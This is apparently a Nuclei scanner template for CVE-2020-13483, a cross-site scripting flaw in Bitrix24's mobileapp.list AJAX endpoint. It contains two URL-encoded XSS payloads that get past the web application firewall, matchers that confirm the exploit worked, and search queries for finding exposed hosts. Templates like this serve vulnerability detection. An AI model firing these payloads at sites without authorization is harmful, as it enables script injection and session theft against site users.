id: CVE-2020-13483 info: name: Bitrix24 <=20.0.0 - Cross-Site Scripting author: pikpikcu,3th1c_yuk1,s4e-io severity: medium description: | The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability. reference: - https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558 - https://twitter.com/brutelogic/status/1483073170827628547 - https://nvd.nist.gov/vuln/detail/CVE-2020-13483 - https://github.com/afinepl/research - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-13483 cwe-id: CWE-79 epss-score: 0.26042 epss-percentile: 0.96418 cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: bitrix24 product: bitrix24 shodan-query: http.html:"/bitrix/" fofa-query: body="/bitrix/" tags: cve2020,cve,xss,bitrix,bitrix24,vkev,vuln http: - method: GET path: - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>' - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E' stop-at-first-match: true matchers: - type: dsl dsl: - 'contains(header, "text/html")' - 'status_code == 200' - 'contains_any(body, "__MobileAppList(){alert(1)}", "__MobileAppList(test){alert(document.domain)")' - 'contains_all(body, "mobileAppListParams", "ajaxUrl", "bitrix")' condition: and # digest: 4a0a00473045022100dbc7fedaf967d134fcd9868b6f4bf42d6a20221dc10b991d871d131e3f1fe66c022041d6df59c6fe822041fab5f17f7bad26444e2586fbab63e0d101173fe8fceaf1:922c64590222798bb761d5b6d8e72950